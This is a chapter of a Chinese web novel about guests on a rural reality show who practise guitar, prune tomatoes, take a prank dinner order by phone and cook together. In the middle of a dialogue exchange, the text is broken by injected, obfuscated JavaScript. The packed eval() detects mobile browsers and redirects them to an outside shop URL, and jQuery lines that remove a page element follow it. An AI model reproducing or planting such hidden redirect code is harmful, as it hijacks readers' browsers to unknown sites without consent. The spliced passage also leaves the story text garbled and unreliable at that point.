宋可起得早。
不是她想早起，是隔壁灶屋传来的声音把她吵醒了——菜刀剁在案板上，节奏又快又匀，像在打拍子。她摸过手机看了一眼，六点四十七。
她披了件外套出门，灶屋门口蹲着橘座，尾巴绕着爪子，一脸"我也在等"的表情。
陆清槐站在灶台前切萝卜，刀工比昨天还利落。旁边搁着手机，屏幕上停在一个吉他教学视频，画面定格在F和弦的指法图上。
"你不会看了一晚上吧？"宋可靠在门框上。
"看了两遍。"他没抬头，"F和弦横按要用食指侧面，不是正面。视频里说的。"
"你试了？"
"昨晚试了。"
"响了？"
"嗯。"
宋可沉默了两秒。她当年F和弦卡了整整三个月，指尖磨出茧子才按响。这人看了两遍视频就会了？
"你别告诉我你还练了转换。"
"试了F到C，"他把萝卜丝扒拉到盘子里，"有点慢。"
"……"
宋可决定不跟自己较劲。她进灶屋倒了杯热水，回头看见陆清槐把围裙系上了——还是那条粉色兔子的。
"你围裙就不能换一条？"
"只有这一条。"
"我送你一条。"
"好。"
他答得太干脆，宋可反而愣了一下，然后笑了："行，记着了。"
早饭后，宋可把吉他抱到槐树下。
"来，《山那边》就四个和弦，C、G、Am、F。前三个你应该会了，F昨天能响了，咱们顺一遍。"
陆清槐接过吉他，盘腿坐着。宋可蹲在他对面，伸手掰他的左手位置。
"食指再往上一点点，对，用侧面——哎你别使劲攥琴颈，虎口留缝。"
他调整了一下。
"拨弦。"
他右手拇指扫下去。四个音，干净。
"换G。"
手指挪了两格，响了。
"Am。"
响了。
"F。"
横按落下去，六根弦全响了，没有一根闷音。
弦的震动和竖琴不一样，但指腹找位置的逻辑是通的。
宋可盯着他的手指看了三秒。
"你昨天真第一次碰F？"
"前天看的视频，昨天试的。"
"你是不是偷偷练了？"
"看了两遍。"
宋可深吸一口气，决定把这份震惊咽下去。她拨了个节奏："来，跟我走，下—下上—空上—下上。"
他试了一遍。节奏有点生，但拍子没乱。
"再来。"
第二遍顺了。第三遍他小指在一弦上搭了一下，又收回去了。
宋可："……"
"怎么了？"
"没事。"她端起水杯喝了一口，"你让别人怎么活。"
"什么？"
"……当我没说。"
两人正练着，陶陶抱着一筐菜从菜地跑过来，鞋底全是泥。
"清槐哥哥！番茄是不是该弄了？陈伯昨天说打什么侧芽——"
"打侧芽。"陆清槐把吉他放下，"我去看看。"
宋可跟着凑热闹。三个人到了菜地，番茄架上藤蔓已经爬到竹竿半腰，叶子长得密不透风，主干和叶柄之间冒出一截截嫩绿的小芽。
"这些就是侧芽？"陶陶蹲下来指着。
"嗯。叶腋里冒出来的，不留，全掰掉。"
"为什么呀？长得好好的——"
"它抢养分。侧芽不结果，光长个子，最后主藤细、果子小。"他伸手捏住一个侧芽，拇指食指一掐一掰，脆生生地断了，"就这个位置，别掰伤主茎。"
陶陶学着掐了一个，断口歪歪扭扭的，但好歹掰下来了。掐了几个，指腹被番茄汁染得发绿，她偷偷凑到鼻子底下闻了闻——青草味，有点冲。
方驰不知道什么时候凑过来的，嘴里叼着半块馒头："干嘛呢？团建不带我？——陶陶你闻手干嘛，香啊？"
"打侧芽，"陶陶说，"清槐哥哥教的。"
"这有什么难的——"方驰伸手就掐，力道没控制住，连主茎上的一块皮都扯下来了。
陆清槐看了一眼。
"你出去。"
"啊？"
"你碰菜，菜害怕。"
宋可笑到蹲在地上。方驰一脸受伤："房东哥你不能因为我火生得不好就否定我的全部——"
"你昨天把黄瓜藤扯断了两根。"
"那是意外——"
"前天踩了沈眉姐三棵小白菜。"
"我赔了！"
"大前天把浇水壶摔裂了。"
"……"
方驰闭嘴了，蹲在田埂上啃馒头，一脸"我果然不适合种地"的生无可恋。
江苓不知什么时候也来了，举着手机拍："这段必须录下来，方驰被菜嫌弃了。"
"你别拍！"
"我发群里。"
"江苓——！"
陆清槐没管他们闹，沿着番茄垄一株一株检查，手上不停，侧芽一个接一个被掰下来扔进筐里。宋可在旁边跟着学，掰了十几个之后找到了手感。
"你这些菜种得是真规矩，"她边掰边说，"间距、搭架、打杈，一套一套的。跟谁学的？"
"自己摸的。"
"摸得比农校毕业生还专业。"
他没接话，蹲到另一株番茄前，忽然停了一下。这株的叶子有点卷，颜色比旁边的深。他伸手摸了摸叶面，又翻过来捏了捏叶柄。
"这棵水浇多了。"
"啊？"陶陶凑过来，"我昨天浇的——"
"土还湿着呢。"他用手指戳了戳根部的土，黏在指腹上搓了搓，"三天别浇。叶子卷了不是缺水，是根闷着了。"
陶陶赶紧点头，掏出手机记备忘录。宋可在旁边看着，忽然觉得这人种地跟调音似的——每棵菜什么状态，他伸手一摸就知道，跟调吉他弦一样精准。
上午十点，院门口那块小黑板旁边，多了一部东西。
一部红色的座机电话。
转盘式的，老古董，线拖到苏晚的监视器后面。陆清槐先看见的，蹲下来研究了两秒，伸手拨了一下转盘——转盘嗡地转回去，弹得他指尖麻了一下。
"别乱动，"方驰凑过来，围着转了两圈，"这什么年代的文物？"
"道具组找的，"苏晚的声音从监视器后面飘过来，"以后嘉宾点菜用这个。线是节目组单独接的，号码只给嘉宾团队——外面有人打电话进来点菜，你们负责接、负责做。"
"点菜？真人？"方驰眼睛亮了，冲监视器方向喊，"苏导你这也太损了！"
"到时候就知道了。"
话音刚落，电话"叮铃铃"地响了。
声音又脆又响，在安静的院子里跟拉警报似的。橘座从墙头上炸了毛，大黄"嗖"地钻到陆清槐腿后面。
五个人面面相觑。
"接啊！"周建国从灶屋探出头。
"谁接？"方驰往后缩了半步。
"你离最近你接！"江苓推了他一把。
方驰清了清嗓子，拿起听筒，声音突然变得字正腔圆："喂？您好，山间的日子——"
"我要点菜。"对面是个女声，听着年纪不大，语气理直气壮。
"啊……您点。"
"我要吃佛跳墙。"
方驰的笑容僵在脸上。
"……什么？"
"佛跳墙。还有、嗯——"对面翻了两页纸的声音，"清蒸东星斑、避风塘炒蟹、松茸炖鸡汤。"
院子里安静了三秒。
方驰捂着听筒冲众人做口型："她要吃佛跳墙！"
沈眉接过电话，语气温柔但绵里藏针："姑娘，我们这是山村，没有鲍鱼海参，东星斑也没有。"
"那有什么？"
"白菜、萝卜、番茄、黄瓜、鸡蛋——"
对面先"噗"地笑了一声，像是憋了半天没憋住。
"那我要吃番茄炒蛋。"秒换。
沈眉愣了一下："……行。"
"但是有个要求，"女生的声音忽然认真起来，"番茄要去皮，鸡蛋要嫩，少油少盐，我减肥。"
"你谁啊？"方驰忍不住凑过来喊。
"到了你们就知道了。"
电话挂了。
五个人围着电话站成一圈。
"佛跳墙，"周建国摸着下巴，"这姑娘心挺大。"
"她最后不是改成番茄炒蛋了嘛，"陶陶小声说。
"关键是她是谁，"江苓抱着胳膊，"听声音二十来岁，不像前辈。"
"管她是谁，"方驰已经在掰手指头了，"番茄炒蛋谁不会——"
"你做？"陆清槐忽然开口。
方驰的手僵在半空。
"我……我可以学。"
"你上次炒鸡蛋把蛋壳炒进去了。"江苓说。
"那是意外！"
沈眉打圆场："正好，先炒一份咱们自己尝，明天客人点了也心里有数。"
陆清槐看了方驰一眼，没说话，转身往灶屋走。
"房东哥你干嘛去？"
"烧开水。"
"烧开水干嘛？"
"番茄去皮。"
陆清槐烧了一锅开水，在番茄顶部划了个十字，丢进去烫了十秒捞出来。皮果然一撕就掉，露出沙甜的果肉。
方驰在旁边看得认真，像在观摩什么武林秘籍。
"就这么简单？"
"嗯。"
"那我也来——"方驰拿起一个番茄往开水锅里丢，水花溅起来烫到手背，"嘶——"
"用漏勺。"陆清槐递过去一把漏勺。
方驰老老实实接过，第二个番茄稳稳地放进去。沈眉在旁边打鸡蛋，筷子搅得飞快，蛋液起了细密的泡沫。
"鸡蛋要嫩，关键是油温，"陆清槐擦了擦手，"油别烧太烫，蛋液倒进去别急着铲，边缘凝固了再推。"
"你怎么什么都知道？"方驰嘀咕。
"火候是陈伯教的。"
"陈伯还懂火候？"
"他做的比你强。"
方驰决定不说话了。
菜做好的时候，日头正高。
番茄炒蛋端上桌，金黄的蛋裹着红色的番茄汁，去皮的番茄几乎化在蛋里，酸甜味飘了一院子。陶陶偷偷夹了一筷子，眼睛瞬间亮了。
"好好吃——"
"客人还没到你先吃上了？"江苓戳她脑门。
"就一口……"
宋可从菜地里直起腰，拍了拍手上的泥，走过来先夹了一筷子。嚼了两下，停下来："番茄去皮了？"
"嗯。"
"怪不得。"她又夹了块蛋，"鸡蛋也香，土鸡蛋吧？"
"王婶家的。"
周建国端着碗出来，尝了一口，"嗯"了一声，又夹了一筷子："这蛋行，嫩！"
"沈眉姐搅的蛋。"
沈眉笑了："他指挥的。油烧到什么程度、什么时候下蛋、什么时候推，全是他说的。我就是个打下手的。"
"那方驰呢？"江苓故意问。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916297|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>"他负责烫到手。"
全桌笑。方驰一脸悲愤："我还负责剥蒜了！"
"蒜在哪呢？"
"……忘了放。"
下午，苏晚把人召集到槐树下。
"客人半夜到，明天正式拍，"她翻着平板，"今晚把客房收拾出来。方驰、江苓，你们俩负责搬被褥。陶陶，你跟沈眉姐去菜园摘点菜。周老师——"
"我劈柴。"周建国站起来活动肩膀。
"宋可老师，您随意。"
"我去菜地转转，"宋可靠在竹椅上，"顺便再跟房东学两招。"
陆清槐正在给橘座顺毛，抬头："学什么？"
"你刚才打侧芽那个手法，再教教我。我回去在阳台上种两盆。"
"阳台种番茄得授粉。"
"怎么授？"
"棉签碰一碰花蕊。"
宋可眨了眨眼："就这？"
"就这。"
"我以为要什么专业设备。"
"蜜蜂干的活，棉签也行。"
宋可拿出手机记备忘录，打字打到一半抬头："你有微博吧？我关注你。"
"有。"
"ID叫什么？"
"陆清槐。"
宋可搜了一下，点了关注。他的主页只有三条微博——"菜。种了。""肉。炖了。""鱼。烧了。"粉丝数三千四百出头。
"你这微博运营也太省了，"她划了两下，"每条三个字，一个句号。"
"说完了。"
"你就不能多发点？网友都在你评论区催更呢。"
陆清槐想了想，掏出手机对着番茄架拍了张照片，低头打字。
宋可伸脖子看。
他发了一条：
"芽。打了。"
宋可笑到手机差点掉了。
"你这个连载格式是要出诗集吗？下条是不是'蛋。炒了。'？"
方驰在远处喊："他回评论也这样！我说'房东哥教教我'，他给我回了个'嗯'！"
陶陶小声补刀："我问他菠菜多久浇水，他回我'土干了'。"
陆清槐没接话，低头刷了一眼自己的评论区——
【"芽。打了。" 我愿称之为当代田园诗】
【哥你多打一个字能怎样啊哈哈哈哈】
【这哥们是怎么做到每条微博都像AI生成的但又明明是真人】
他看了两秒，锁了屏。
"他们为什么觉得我是AI？"
宋可笑得不行："因为你说话太省字了，跟自动回复似的。"
"哦。"
"你看，又这样！"
傍晚，宋可又把吉他抱出来了。
上午只顺了和弦，没正经走曲子。这回两个人坐下，宋可调了调弦："来，从头走一遍。"
他手指落下去，和弦一个接一个走出来。宋可跟着哼旋律，陶陶坐在石磨上托着腮听，橘座卧在她腿上。
方驰从灶屋端出一盘切好的西瓜，放在石桌上。周建国搬出竹椅摇着蒲扇，沈眉端了两杯野茶。江苓拿着手机在拍视频，镜头扫过菜地、槐树、晚霞、抱猫的陶陶、弹吉他的两个人。
"这个画面发出去得涨粉，"她小声嘀咕。
弹到副歌，宋可开口唱了。声音不大，但在傍晚的院子里刚刚好。和弦换了，比前面亮——陆清槐昨天听出来的那个转调。他手指跟上了，一个音没错。
一曲唱完，方驰鼓掌："好！"
"你别光鼓掌，"宋可冲他抬下巴，"你上回那个口琴呢？"
"别提了，周叔说我吹来风了。"
"你再试试。"
方驰真掏出了口琴，犹豫了两秒，在第二遍副歌的时候试探着跟进来。这回居然跟上了几个小节，虽然尾音飘了，但没完全跑。
宋可笑到唱断了一句，索性停下来让他solo。方驰吹了一段，自己还挺得意，吹完冲所有人鞠躬。
"怎么样？"
"进步空间还很大，"周建国慢悠悠地说，"但至少不像闹耗子了。"
"周叔！"
满院子笑。
人散了以后，陆清槐坐在槐树下，没急着回屋。
他把吉他搁在腿上，没弹，手指轻轻搭在弦上。晚霞还剩最后一点，菜地的轮廓慢慢暗下来。橘座跳上他膝盖，团成球。大黄趴在脚边，下巴搁在他鞋面上。
手机亮了一下。
林野发来消息："今晚来的客人你猜是谁？"
"不猜。"
"我听小赵说是个女团的，特别能吃。"
"点菜要佛跳墙那个。"
"对对对！你怎么知道？"
"她打电话来了。"
"哈哈哈哈哈哈她真点了？苏导跟我说有这个环节我还不信——"
陆清槐没回。他抬头看了看天，星星出来了。
吉他弦在晚风里轻轻震了一下，不知道被什么碰的。
他低头看了一眼手机。宋可刚发了条朋友圈——院子里的晚霞，配文： "不想走了。"
苏晚在底下留了一条："宋老师，未播内容注意保密。"
宋可回："就一张晚霞！分组了分组了。"
他看了两秒，锁了屏。
客人半夜就到。番茄炒蛋下午试过一次了，她大概不会再点同一个。
但佛跳墙是不可能的。
他摸了摸橘座的脑袋，站起来，抱着吉他回屋。
墙头上，橘座不知什么时候跟了上来，蹲在瓦片上盯着村口的方向。尾巴一甩一甩。
远处的山路上，有灯光在移动。